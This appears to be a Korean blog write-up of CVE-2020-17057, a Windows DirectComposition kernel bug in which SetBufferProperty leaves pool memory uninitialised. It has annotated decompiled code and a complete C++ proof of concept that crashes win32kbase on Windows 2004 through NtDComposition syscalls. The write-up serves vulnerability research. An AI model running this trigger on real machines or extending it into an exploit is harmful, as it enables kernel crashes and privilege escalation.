본문 바로가기

카테고리 없음

DirectComposition, CVE-2020-17057

360 vulcan 팀에서 리포팅한 취약점이다. 취약점 상세 내용은 팀 블로그를 읽어보자.

 

CInteractionTrackerMarshaler::SetBufferProperty 함수는 할당한 Win32AllocPoolWithQuota 함수를 통해 할당한 메모리를 초기화하지 않고 사용한다. SetBufferPropery 함수 내부에서 2개의 객체를 순서대로 처리하는 과정이 있다. 이때 초기화 되지 않은 메모리를 접근하면서 크래시가 발생한다.

__int64 __fastcall DirectComposition::CInteractionTrackerMarshaler::SetBufferProperty(DirectComposition::CInteractionTrackerMarshaler *this, struct DirectComposition::CApplicationChannel *resInfo, int subCmd, const int *dataBuffer, unsigned __int64 Size, bool *out)
{
  bool *v6; // r13
  int ret; // edi
  int _subCmd; // er8
  int v12; // er8
  int v13; // er8
  int v14; // er8
  int v15; // er8
  int v16; // er8
  _QWORD *v17; // rsi
  unsigned int v18; // ebp
  int v19; // eax
  unsigned int v20; // esi
  void *v21; // rax
  __int64 v22; // rcx
  unsigned __int64 count; // r12
  __int64 alloc_pool; // rax
  int v25; // ecx
  unsigned int idx; // er13
  int resource_id1; // ecx
  unsigned __int64 index; // rdx
  __int64 resource1; // rbp
  __int64 v30; // rcx
  int resource_id2; // eax
  unsigned __int64 index2; // rdx
  __int64 resource2; // rbp
  __int64 v34; // rcx
  __int64 Src; // [rsp+20h] [rbp-38h] BYREF
  int v37; // [rsp+28h] [rbp-30h]

  v6 = out;
  ret = 0;
  *out = 0;
  _subCmd = subCmd - 0x15;
  if ( !_subCmd )
  {
    if ( !dataBuffer && *(this + 90) )
    {
      (DirectComposition::CInteractionTrackerMarshaler::ReleaseManipulationReferences)(this, resInfo);
      *out = 1;
      *(this + 4) &= 0xFFFFF7FF;
      return ret;
    }
    (DirectComposition::CInteractionTrackerMarshaler::ReleaseManipulationReferences)(this, resInfo);
    count = Size >> 3;
    if ( (Size >> 3) )
    {
      alloc_pool = Win32AllocPoolWithQuota(16i64 * count, 1919501124i64);
      v25 = 0;
      *(this + 0x2C) = alloc_pool;              // 할당한 메모리 주소 저장 
      if ( !alloc_pool )
        v25 = 0xC0000017;
      ret = v25;
      if ( v25 < 0 )
      {
LABEL_54:
        if ( ret >= 0 )
          return ret;
        goto LABEL_55;
      }
      idx = 0;
      do                                        // 2개의 리소스를 처리하는 루프 
      {
        if ( idx >= count )
          break;
        resource_id1 = dataBuffer[2 * idx];     // dataBuffer에서 resource_id1을 가져온다 
        index = (resource_id1 - 1);
        if ( resource_id1 && index < *(resInfo + 10) )// *(resInfo + 10) == resourceid_max
        {
          _mm_lfence();
          resource1 = *(index * *(resInfo + 11) + *(resInfo + 7));// 
                                                // get resource from resource table according to resource handle 
                                                // resource1 = index * resinfo->entry_size + resinfo->resource_list
        }
        else
        {
          resource1 = 0i64;
        }
        if ( resource1 && (*(*resource1 + 96i64))(resource1, 0x67i64) )// resource1의 타입이 0x67인지 확인한다 
        {
          *(*(this + 0x2C) + 16i64 * idx) = resource1;// 0x67 타입이 맞는 경우 해당 리소스를 위에서 할당한 메모리에 저장한다 
          v30 = *(*(this + 0x2C) + 16i64 * idx);// DirectComposition::CResourceMarshaler::AddRef(*(*(this + 0x2C) + 16i64 * v30));
          ++*(v30 + 20);
          ++*(this + 90);
        }
        else
        {
          ret = 0xC000000D;
        }
        if ( ret >= 0 )
        {
          resource_id2 = dataBuffer[2 * idx + 1];// dataBuffer에서 resource_id2를 가져온다 
          if ( resource_id2 )
          {
            index2 = (resource_id2 - 1);
            if ( index2 >= *(resInfo + 10) )    // *(resInfo + 10) == resourceid_max
            {
              resource2 = 0i64;
            }
            else
            {
              _mm_lfence();
              resource2 = *(index2 * *(resInfo + 11) + *(resInfo + 7));// get resource from resource table according to resource handle 
            }
            if ( resource2 && (*(*resource2 + 96i64))(resource2, 87i64) )
            {
              *(*(this + 0x2C) + 16i64 * idx + 8) = resource2;
              v34 = *(*(this + 0x2C) + 16i64 * idx + 8);// DirectComposition::CResourceMarshaler::AddRef(*(*(this + 0x2C) + 16i64 * v34));
              ++*(v34 + 20);
            }
            else
            {
              ret = 0xC000000D;                 // resource2가 0x57 타입이 아닌 경우 이곳이 도착한다.
                                                // resource2를 위에서 할당한 메모리에 저장하지 않는 상황이 생긴다.
                                                // 할당한 메모리는 초기화 하지 않은 상태이므로 나중에 문제를 일으키게 된다. 따라서 아래와 같이 NULL값을 넣어줘야 한다. 
                                                // 
                                                // *(*(this + 0x2C) + 16i64 * idx + 8) = 0; 
            }
          }
          else
          {
            *(*(this + 44) + 16i64 * idx + 8) = 0i64;
          }
        }
        ++idx;
      }
      while ( ret >= 0 );
      v6 = out;
      if ( ret < 0 )
        goto LABEL_55;                          // resource2가 0x57 타입이 아닌 경우 LABEL_55로 점프한다. 
    }
    *v6 = 1;
    *(this + 4) &= 0xFFFFF7FF;
    goto LABEL_54;
  }
  v12 = _subCmd - 20;
  if ( !v12 )
  {
    v20 = 0;
    goto LABEL_19;
  }
  v13 = v12 - 1;
  if ( !v13 )
  {
    v20 = 1;
    goto LABEL_19;
  }
  v14 = v13 - 1;
  if ( !v14 )
  {
    v20 = 3;
    goto LABEL_19;
  }
  v15 = v14 - 1;
  if ( !v15 )
  {
    v20 = 2;
LABEL_19:
    if ( *(this + v20 + 33) )
    {
      (Win32FreePool)();
      *(this + v20 + 33) = 0i64;
    }
    v21 = Win32AllocPoolWithQuotaZInit(Size);
    *(this + v20 + 33) = v21;
    if ( v21 )
    {
      memmove(v21, dataBuffer, Size);
      *(this + v20 + 37) = Size;
      *(this + 4) &= ~DirectComposition::CInteractionTrackerMarshaler::GetInertiaModifierMarshalerFlag(v22, v20);
      *out = 1;
      return ret;
    }
    ret = -1073741801;
    goto LABEL_55;
  }
  v16 = v15 - 21;
  if ( v16 )
  {
    if ( v16 != 1 )
    {
      ret = -1073741811;
      goto LABEL_54;
    }
    if ( Size == 36 )
    {
      *(this + 412) = *dataBuffer;
      *(this + 428) = *(dataBuffer + 1);
      *(this + 111) = dataBuffer[8];
      *out = 1;
      *(this + 4) &= 0xFEFFFFFF;
      return ret;
    }
    goto LABEL_10;
  }
  if ( Size == 12 )
  {
    v17 = (this + 368);
    v18 = *(this + 98);
    v19 = dataBuffer[2];
    Src = *dataBuffer;
    v37 = v19;
    ret = DirectComposition::CDCompDynamicArrayBase::Grow((this + 368), 1ui64, 0x72694344u);
    if ( ret >= 0 )
    {
      memmove((*v17 + v17[4] * v18), &Src, v17[4]);
      *out = 1;
    }
    goto LABEL_54;
  }
LABEL_10:
  ret = -1073741811;
LABEL_55:
  if ( *(this + 44) )                           // resource2가 0x57 타입이 아닌 에러 상황을 처리한다.
                                                // ReleaseManipulationReferences 함수가 resource1, resource2를 릴리즈한다. 
                                                // resource2는 초기화되지 않은 값을 가지고 있는 상태이므로 크래시가 발생한다. 
    (DirectComposition::CInteractionTrackerMarshaler::ReleaseManipulationReferences)(this, resInfo);
  return ret;
}

resource2가 0x57 타입이 아닌 경우는 에러 상황으로 처리해 goto LABEL_55 에 의해 CInteractionTrackerMarshaler::ReleaseManipulationReferences 함수로 진입한다. 이 함수안에서 초기화되지 않은 상태로 있던 메모리를 참조하면서 크래시가 발생한다.

void __fastcall DirectComposition::CInteractionTrackerMarshaler::ReleaseManipulationReferences(DirectComposition::CInteractionTrackerMarshaler *this, struct DirectComposition::CApplicationChannel *a2)
{
  __int64 v4; // rcx
  unsigned int v5; // esi

  v4 = *(this + 44);
  if ( v4 )
  {
    v5 = 0;
    if ( *(this + 90) )
    {
      do
      {
        DirectComposition::CApplicationChannel::ReleaseResource(a2, *(*(this + 0x2C) + 16i64 * v5));
        DirectComposition::CApplicationChannel::ReleaseResource(a2, *(*(this + 0x2C) + 16i64 * v5++ + 8));// CRASH !
      }
      while ( v5 < *(this + 90) );
      v4 = *(this + 44);
    }
    Win32FreePool(v4);
    *(this + 44) = 0i64;
    *(this + 90) = 0;
    *(this + 91) = 0;
  }
}

DirectComposition::CInteractionTrackerMarshaler::SetBufferProperty 함수를 호출하면서 type 0x67 and not type 0x57 조건만 맞춰주면 쉽게 재현해볼 수 있다.

// Windows 2004, win32kbase 10.0.19041.264

#include <iostream>
#include <stdio.h>
#include <windows.h>
#include <winternl.h>

using namespace std;

typedef NTSTATUS(*pNtDCompositionCreateChannel)(
    OUT PHANDLE pArgChannelHandle,
    IN OUT PSIZE_T pArgSectionSize,
    OUT PVOID* pArgSectionBaseMapInProcess
    );

typedef NTSTATUS(*pNtDCompositionProcessChannelBatchBuffer)(
    IN HANDLE hChannel,
    IN DWORD dwArgStart,
    OUT PDWORD pOutArg1,
    OUT PDWORD pOutArg2
    );

typedef NTSTATUS(*pNtDCompositionCommitChannel)(
    IN HANDLE pArgChannelHandle,
    OUT LPDWORD out1,
    OUT LPBOOL out2,
    IN BOOL in1,
    IN HANDLE in2
    );

pNtDCompositionCreateChannel                NtDCompositionCreateChannel;
pNtDCompositionProcessChannelBatchBuffer    NtDCompositionProcessChannelBatchBuffer;
pNtDCompositionCommitChannel                NtDCompositionCommitChannel;


#define nCmdCreateResource      0x1
#define nCmdReleaseResource     0x3
#define nCmdSetBufferProperty   0xC

#define CInteractionTrackerMarshaler    0x58
#define SomeMarshaler1                  0x67 
#define SomeMarshaler2                  0x56   // not 0x57

#define Tracker                     1
#define SomeMarshaler1_ResourceID   2   
#define SomeMarshaler2_ResourceID   3

int main()
{
    cout << "CVE-2020-17057 Proof of Concept" << endl;
    getchar();
        
    LoadLibrary(L"user32.dll");
    
    NTSTATUS status;
    HMODULE win32u = LoadLibrary(L"win32u.dll");
    NtDCompositionCreateChannel = (pNtDCompositionCreateChannel)GetProcAddress(win32u, "NtDCompositionCreateChannel");
    NtDCompositionProcessChannelBatchBuffer = (pNtDCompositionProcessChannelBatchBuffer)GetProcAddress(win32u, "NtDCompositionProcessChannelBatchBuffer");
    NtDCompositionCommitChannel = (pNtDCompositionCommitChannel)GetProcAddress(win32u, "NtDCompositionCommitChannel");

    HANDLE  hChannel;
    PVOID   pMappedAddress = NULL;
    SIZE_T  SectionSize = 0x4000;
    DWORD   dwArg1, dwArg2;
    DWORD   szBuff[0x400];

    printf("Create New DirectComposition Channel\n");
    status = NtDCompositionCreateChannel(&hChannel, &SectionSize, &pMappedAddress);
    if (!NT_SUCCESS(status)) {
        printf("error, Fail to create DirectComposition Channel\n");
        return -1;
    }
    printf("Create channel ok, channel(0x%x), SectionSize(0x%x), pMappedAddress(0x%x)\n", hChannel, SectionSize, pMappedAddress);


    printf("Make TrackerMarshaler(resource type of 0x58)\n");
    *(DWORD*)(pMappedAddress) = nCmdCreateResource;
    *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)Tracker;
    *(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)CInteractionTrackerMarshaler;
    *(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
    status = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
    if (!NT_SUCCESS(status)) {
        printf("[-] Fail to create Direct Composition Resource\n");
        exit(-1);
    }


    printf("Make SomeMarshaler1(resource type of 0x67)\n");
    *(DWORD*)(pMappedAddress) = nCmdCreateResource;
    *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)SomeMarshaler1_ResourceID;
    *(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)SomeMarshaler1;
    *(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
    status = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
    if (!NT_SUCCESS(status)) {
        printf("error, fail to create Direct Composition Resource\n");
        exit(-1);
    }


    printf("Make SomeMarshaler2(resource type of 0x56, not 0x57)\n");   
    *(DWORD*)(pMappedAddress) = nCmdCreateResource;
    *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)SomeMarshaler2_ResourceID;
    *(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)SomeMarshaler2;
    *(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
    status = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
    if (!NT_SUCCESS(status)) {
        printf("error, fail to create Direct Composition Resource\n");
        exit(-1);
    }

    getchar();

    // call TrackerMarshaler::SetBufferProperty
    printf("[+] Trigger");
    szBuff[0] = SomeMarshaler1_ResourceID;
    szBuff[1] = SomeMarshaler2_ResourceID;

    UINT subCmd = 0x15;
    UINT datasize = 0xC;    
    *(DWORD*)pMappedAddress = nCmdSetBufferProperty;
    *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)Tracker;
    *(DWORD*)((PUCHAR)pMappedAddress + 8) = subCmd;
    *(DWORD*)((PUCHAR)pMappedAddress + 0xc) = datasize;
    CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, datasize);
    status = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + datasize, &dwArg1, &dwArg2);
    if (!NT_SUCCESS(status)) {
        printf("error, NtDCompositionProcessChannelBatchBuffer\n");
        exit(-1);
    }
    
    printf("[+] Release SomeMarshaler1\n");
    *(DWORD*)(pMappedAddress) = nCmdReleaseResource;
    *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)SomeMarshaler1;
    status = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
    if (!NT_SUCCESS(status)) {
        printf("error, fail to release SomeMarshaler1\n");
        exit(-1);
    }

    printf("[+] Release SomeMarshaler2\n");
    *(DWORD*)(pMappedAddress) = nCmdReleaseResource;
    *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)SomeMarshaler2;
    status = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
    if (!NT_SUCCESS(status)) {
        printf("error, fail to release SomeMarshaler2\n");
        exit(-1);
    }

    printf("[+] Release TrackerMarshaler\n");
    *(DWORD*)(pMappedAddress) = nCmdReleaseResource;
    *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)Tracker;
    status = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
    if (!NT_SUCCESS(status)) {
        printf("error, fail to release TrackerMarshaler\n");
        exit(-1);
    }

    // end
    DWORD out1;
    BOOL out2;
    BOOL in1 = FALSE;
    NtDCompositionCommitChannel(hChannel, &out1, &out2, in1, NULL);

    return 0;
}

360 분석 문서에서 익스플로잇 과정도 글로 설명해 놓았으니 코드로 구현해보자.